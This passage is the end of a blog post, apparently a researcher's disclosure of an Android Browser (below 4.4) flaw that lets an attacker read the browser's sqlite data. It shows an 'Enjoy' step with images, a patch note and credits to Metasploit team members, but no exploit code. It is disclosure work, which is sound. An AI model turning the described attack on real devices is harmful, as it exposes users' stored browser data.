src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgGBmxv6fNtDcNLKNc8bai4yC21YD7iHqCSq2JjwrlOd181RdkHmuKF2yVhPAgGGIp3jC2MtcWoTLNa61DvsQO7CbklgcHeoVF8epsGjygWZEaQuhLe8PLFSKSIJO87U0KyH9Uwf_94FU/s1600/2.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b>Step 3 - Enjoy</b></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwc62e6sbZShXz5pwxrf78gVFxNEdGSX6SY_DLp6J6hSXT67OkXRIG1fSVpH585j-V0h-KKDIebkm7XLlAR_SwKpv2erYmCKnDad7IbvxzgPmxbeQtWcojHMFXWDWLZERT02_Egdppntg/s1600/images.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwc62e6sbZShXz5pwxrf78gVFxNEdGSX6SY_DLp6J6hSXT67OkXRIG1fSVpH585j-V0h-KKDIebkm7XLlAR_SwKpv2erYmCKnDad7IbvxzgPmxbeQtWcojHMFXWDWLZERT02_Egdppntg/s1600/images.jpg" /></a></div><br /><div><h4>Patch</h4></div><div>The access to the data directory was tightened back in Feb 2014, however due to the android patch policies the patch did not make to most of the vendors. </div><div><h4>Credits</h4></div><div>I would like to thank <u>Tod Beardsley</u> and <u>Joe Vennix</u>  from the metasploit team for their extensive support with analyzing and helping to co-ordinate with Google effectively. As well as <u>Haru Sugiyama </u>for his help and support.<br /><br /></div></div>

Android Browser Cross Scheme Data Exposure + Intent Scheme Attack

tl;dr This exploit is an issue present in Android browser < 4.4 and several other android browsers which allows an attacker to read sqlit...

+ Read more »